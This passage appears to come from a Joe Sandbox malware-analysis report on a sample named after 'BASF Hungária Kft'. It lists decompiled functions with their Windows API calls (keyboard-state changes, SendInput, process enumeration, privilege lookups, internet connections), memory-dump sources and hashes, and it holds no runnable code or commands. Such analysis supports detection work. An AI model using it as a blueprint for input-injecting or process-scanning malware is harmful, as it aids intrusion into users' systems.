                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: InvalidateRect
                                                              • String ID:
                                                              • API String ID: 634782764-0
                                                              • Opcode ID: 55e3b337b742af579bb03fc675cfd135305f66e14fb0df2020e722662cea9296
                                                              • Instruction ID: f3fd9ea8e4b41a6981b513d05273e1a97f9a48428c70ada046ad3ef4a7e6538a
                                                              • Opcode Fuzzy Hash: 55e3b337b742af579bb03fc675cfd135305f66e14fb0df2020e722662cea9296
                                                              • Instruction Fuzzy Hash: FC31A134610108FFEFA49A58CC49FF97BA9EB05350F544112FA15E62A1CA7CE980D757
                                                              Function 007BAB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ClientToScreen.USER32(?,?), ref: 007BAB60
                                                              • GetWindowRect.USER32(?,?), ref: 007BABD6
                                                              • PtInRect.USER32(?,?,007BC014), ref: 007BABE6
                                                              • MessageBeep.USER32(00000000), ref: 007BAC57
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Rect$BeepClientMessageScreenWindow
                                                              • String ID:
                                                              • API String ID: 1352109105-0
                                                              • Opcode ID: 41d17a0c9164e61a507749324b42320201d5f06020edd1a1d7a087e2e0b33628
                                                              • Instruction ID: 122abbd14a5b9ef1a327d39f41901e77f818360416a6d5ad701d420443aaa907
                                                              • Opcode Fuzzy Hash: 41d17a0c9164e61a507749324b42320201d5f06020edd1a1d7a087e2e0b33628
                                                              • Instruction Fuzzy Hash: 4041AD70600619EFCB21EF58C884BA97BF5FF49350F1881A9E914DB260D738E841CBA2
                                                              Function 00790AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00790B27
                                                              • SetKeyboardState.USER32(00000080,?,00000001), ref: 00790B43
                                                              • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00790BA9
                                                              • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00790BFB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: KeyboardState$InputMessagePostSend
                                                              • String ID:
                                                              • API String ID: 432972143-0
                                                              • Opcode ID: 6890d832d882f123578f76a1b707e45b89e2a010d502bc0168f1b342020769a5
                                                              • Instruction ID: 23c1bd6b838f67ec44186418f57ec0e56411a6ef34494f4680b6394ce5c32b0b
                                                              • Opcode Fuzzy Hash: 6890d832d882f123578f76a1b707e45b89e2a010d502bc0168f1b342020769a5
                                                              • Instruction Fuzzy Hash: 59315AB0D50618AEFF358B29AC09BFEBBA9AF45318F04835AE490521D1C37C899097E5
                                                              Function 00790C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00790C66
                                                              • SetKeyboardState.USER32(00000080,?,00008000), ref: 00790C82
                                                              • PostMessageW.USER32(00000000,00000101,00000000), ref: 00790CE1
                                                              • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00790D33
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: KeyboardState$InputMessagePostSend
                                                              • String ID:
                                                              • API String ID: 432972143-0
                                                              • Opcode ID: c9d10ec27f2430657c0be755c980e09dcfd6f2cc5dbd0cda8342e771ad577bb4
                                                              • Instruction ID: 606796d302bc11183ec24e07dc98520ee5a7ca829af75c3a5f21c633330d9e9a
                                                              • Opcode Fuzzy Hash: c9d10ec27f2430657c0be755c980e09dcfd6f2cc5dbd0cda8342e771ad577bb4
                                                              • Instruction Fuzzy Hash: CF312630A50618AEFF308B65AC08BFEBBB6AF46310F04831AE485521D1C33D9D55D7E5
                                                              Function 007661C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 007661FB
                                                              • __isleadbyte_l.LIBCMT ref: 00766229
                                                              • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00766257
                                                              • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0076628D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                              • String ID:
                                                              • API String ID: 3058430110-0
                                                              • Opcode ID: b1fb700f8bff15815bff00baf719e18bdf9b91a658e22b09ecbb3c497d5d5673
                                                              • Instruction ID: d54151709878220b64e83ed75d61ba17083e5f04f2e0ec65321c060b1e74d17a
                                                              • Opcode Fuzzy Hash: b1fb700f8bff15815bff00baf719e18bdf9b91a658e22b09ecbb3c497d5d5673
                                                              • Instruction Fuzzy Hash: 8131DE3060024AEFDF218F65CC58BAA7FA9FF42320F554128EC26971A1E739E950DB90
                                                              Function 007B4EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32 ref: 007B4F02
                                                                • Part of subcall function 00793641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0079365B
                                                                • Part of subcall function 00793641: GetCurrentThreadId.KERNEL32 ref: 00793662
                                                                • Part of subcall function 00793641: AttachThreadInput.USER32(00000000,?,00795005), ref: 00793669
                                                              • GetCaretPos.USER32(?), ref: 007B4F13
                                                              • ClientToScreen.USER32(00000000,?), ref: 007B4F4E
                                                              • GetForegroundWindow.USER32 ref: 007B4F54
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                              • String ID:
                                                              • API String ID: 2759813231-0
                                                              • Opcode ID: e4c6b95159a032272b2610deef2bff6d224eda993555fd744122b503e0b3d960
                                                              • Instruction ID: 6381aadc0605de721e003ba77bf22bec257a4cb23426fc0243508a8fdf6dba10
                                                              • Opcode Fuzzy Hash: e4c6b95159a032272b2610deef2bff6d224eda993555fd744122b503e0b3d960
                                                              • Instruction Fuzzy Hash: 94310F71D00208AFDB00EFA5C885EEFB7F9EF94300F10406AE555E7242DA79AE058BA1
                                                              Function 00793C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateToolhelp32Snapshot.KERNEL32 ref: 00793C7A
                                                              • Process32FirstW.KERNEL32(00000000,?), ref: 00793C88
                                                              • Process32NextW.KERNEL32(00000000,?), ref: 00793CA8
                                                              • CloseHandle.KERNEL32(00000000), ref: 00793D52
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                              • String ID:
                                                              • API String ID: 420147892-0
                                                              • Opcode ID: 53cb6c25caa3e3722d8e741c3fe911c61424627b6b7fc529097dbae81fb3e392
                                                              • Instruction ID: 5dc8530c5ab8fcd30caa35bb82d253df7d171ca3a09da3f13355ad60777de8fe
                                                              • Opcode Fuzzy Hash: 53cb6c25caa3e3722d8e741c3fe911c61424627b6b7fc529097dbae81fb3e392
                                                              • Instruction Fuzzy Hash: 8231E271108304DFD714EF14D895FAFBBE8EF85304F40092CF481821A2EB78AA49CB52
                                                              Function 007BC498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • GetCursorPos.USER32(?), ref: 007BC4D2
                                                              • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0076B9AB,?,?,?,?,?), ref: 007BC4E7
                                                              • GetCursorPos.USER32(?), ref: 007BC534
                                                              • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0076B9AB,?,?,?), ref: 007BC56E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                              • String ID:
                                                              • API String ID: 2864067406-0
                                                              • Opcode ID: c7edc64bd1bd4cfd50a1d6baf9186ccbfa4f6db2d6fd07dacf29848369da7aa0
                                                              • Instruction ID: 636537d61357e78a32b55e884e9b4d5d2b944475f102d7003ceb155126802421
                                                              • Opcode Fuzzy Hash: c7edc64bd1bd4cfd50a1d6baf9186ccbfa4f6db2d6fd07dacf29848369da7aa0
                                                              • Instruction Fuzzy Hash: FE319135600458EFCB268F58C858FFA7BB5EF09710F148169FA058B262C739AD60DBA4
                                                              Function 00788656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0078810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00788121
                                                                • Part of subcall function 0078810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0078812B
                                                                • Part of subcall function 0078810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0078813A
                                                                • Part of subcall function 0078810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00788141
                                                                • Part of subcall function 0078810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00788157
                                                              • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 007886A3
                                                              • _memcmp.LIBCMT ref: 007886C6
                                                              • GetProcessHeap.KERNEL32(00000000,00000000), ref: 007886FC
                                                              • HeapFree.KERNEL32(00000000), ref: 00788703
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                                              • String ID:
                                                              • API String ID: 1592001646-0
                                                              • Opcode ID: 13c9dcb70b42369c5fcf08f6966153408a93a0cf13c7fd2aa88970986406c3d6
                                                              • Instruction ID: aa54aa6a430ab20d05bc393989f640b550b35751a299d6a561d3492842f040bf
                                                              • Opcode Fuzzy Hash: 13c9dcb70b42369c5fcf08f6966153408a93a0cf13c7fd2aa88970986406c3d6
                                                              • Instruction Fuzzy Hash: CD219071E80108EFDB50EFA8CD49BEEB7B8EF44305F558059E454A7242EB39AE05CB51
                                                              Function 0075098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __setmode.LIBCMT ref: 007509AE
                                                                • Part of subcall function 00735A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00797896,?,?,00000000), ref: 00735A2C
                                                                • Part of subcall function 00735A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00797896,?,?,00000000,?,?), ref: 00735A50
                                                              • _fprintf.LIBCMT ref: 007509E5
                                                              • OutputDebugStringW.KERNEL32(?), ref: 00785DBB
                                                                • Part of subcall function 00754AAA: _flsall.LIBCMT ref: 00754AC3
                                                              • __setmode.LIBCMT ref: 00750A1A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                                              • String ID:
                                                              • API String ID: 521402451-0
                                                              • Opcode ID: f5bc03b126e4a27f60a02f2ca40baf2026ef5a94043269e9dac73cc96dd8cc1d
                                                              • Instruction ID: a0008d47d7e0b087ef65d8c5cf64092a185b92642bbab2d9183f939f8b04bd35
                                                              • Opcode Fuzzy Hash: f5bc03b126e4a27f60a02f2ca40baf2026ef5a94043269e9dac73cc96dd8cc1d
                                                              • Instruction Fuzzy Hash: 5B115731604204EFDB04B3B49C8E9FE77689F42321F104119FA0453183EEAD589A97E5
                                                              Function 007A1767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 007A17A3
                                                                • Part of subcall function 007A182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 007A184C
                                                                • Part of subcall function 007A182D: InternetCloseHandle.WININET(00000000), ref: 007A18E9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Internet$CloseConnectHandleOpen
                                                              • String ID:
                                                              • API String ID: 1463438336-0
                                                              • Opcode ID: 2c970dba344ed1dc75e8460517aafd187a2b2338dfa8cc37c1cb23704a663bbe
                                                              • Instruction ID: 5ed1dd371955f504ebd53e9b3151550ecbf0babf1500d945f6430507b67bef04
                                                              • Opcode Fuzzy Hash: 2c970dba344ed1dc75e8460517aafd187a2b2338dfa8cc37c1cb23704a663bbe
                                                              • Instruction Fuzzy Hash: E721D431200601BFFB129F64CC00FBABBA9FF8AB21F50422AF91196551DB7D981197A4
                                                              Function 00793A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileAttributesW.KERNEL32(?,007BFAC0), ref: 00793A64
                                                              • GetLastError.KERNEL32 ref: 00793A73
                                                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 00793A82
                                                              • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,007BFAC0), ref: 00793ADF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CreateDirectory$AttributesErrorFileLast
                                                              • String ID:
                                                              • API String ID: 2267087916-0
                                                              • Opcode ID: f0b565a83ff4e63772da79fa7e9c4e14beb2ba7133bcf08829ce242c638c8662
                                                              • Instruction ID: cfd3ab6f875e8a496c2ab1bf1691651777f405386f0f15d041285fd33a087bbb
                                                              • Opcode Fuzzy Hash: f0b565a83ff4e63772da79fa7e9c4e14beb2ba7133bcf08829ce242c638c8662
                                                              • Instruction Fuzzy Hash: D621A674508201DF8B10DF28DC859AA77E4FF55764F108A1EF499C72A2D739DE45CB42
                                                              Function 007650E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 00765101
                                                                • Part of subcall function 0075571C: __FF_MSGBANNER.LIBCMT ref: 00755733
                                                                • Part of subcall function 0075571C: __NMSG_WRITE.LIBCMT ref: 0075573A
                                                                • Part of subcall function 0075571C: RtlAllocateHeap.NTDLL(01920000,00000000,00000001,00000000,?,?,?,00750DD3,?), ref: 0075575F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AllocateHeap_free
                                                              • String ID:
                                                              • API String ID: 614378929-0
                                                              • Opcode ID: d40137028ae3d21bff165307b4c22752c4428e040aa3425265827baf8fcb4444
                                                              • Instruction ID: 6b667ec64dddab498846d318e70c60317fe3a53662b91e0033dcd4bb26d4f76b
                                                              • Opcode Fuzzy Hash: d40137028ae3d21bff165307b4c22752c4428e040aa3425265827baf8fcb4444
                                                              • Instruction Fuzzy Hash: EC1129B2900A19EFCB353F74EC49BAD37989F063A2F204529FD06AA150DE7C8D44A795
                                                              Function 007344A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007344CF
                                                                • Part of subcall function 0073407C: _memset.LIBCMT ref: 007340FC
                                                                • Part of subcall function 0073407C: _wcscpy.LIBCMT ref: 00734150
                                                                • Part of subcall function 0073407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00734160
                                                              • KillTimer.USER32(?,00000001,?,?), ref: 00734524
                                                              • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00734533
                                                              • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0076D4B9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                              • String ID:
                                                              • API String ID: 1378193009-0
                                                              • Opcode ID: b6e6077cdbebfe4c04b196f4a9cef674027f7e09962b1fbe3a1c4b806ad40cfc
                                                              • Instruction ID: fd28014858da87e45b48057056c9bffa418b16a38f14a40b579b99d4e5c689f3
                                                              • Opcode Fuzzy Hash: b6e6077cdbebfe4c04b196f4a9cef674027f7e09962b1fbe3a1c4b806ad40cfc
                                                              • Instruction Fuzzy Hash: D621C8709047949FF7328B24CC55BE6BFECAF05315F04409EEB9A96142C7786D84CB55
                                                              Function 007A6369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00735A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00797896,?,?,00000000), ref: 00735A2C
                                                                • Part of subcall function 00735A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00797896,?,?,00000000,?,?), ref: 00735A50
                                                              • gethostbyname.WSOCK32(?,?,?), ref: 007A6399
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A63A4
                                                              • _memmove.LIBCMT ref: 007A63D1
                                                              • inet_ntoa.WSOCK32(?), ref: 007A63DC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                                              • String ID:
                                                              • API String ID: 1504782959-0
                                                              • Opcode ID: 2e5d2b59b2f9908c65746a7347e8d23413a9806f76407d177bff4fcdc6b9d419
                                                              • Instruction ID: d35ac5d941adb3e08754da1fddafe3c9b8439f94701d0b7442a5d33197b31265
                                                              • Opcode Fuzzy Hash: 2e5d2b59b2f9908c65746a7347e8d23413a9806f76407d177bff4fcdc6b9d419
                                                              • Instruction Fuzzy Hash: CC116031500109EFDB04FBA4DD8ADEEB7B8AF49310B148165F505A7262DB39AF14DBA1
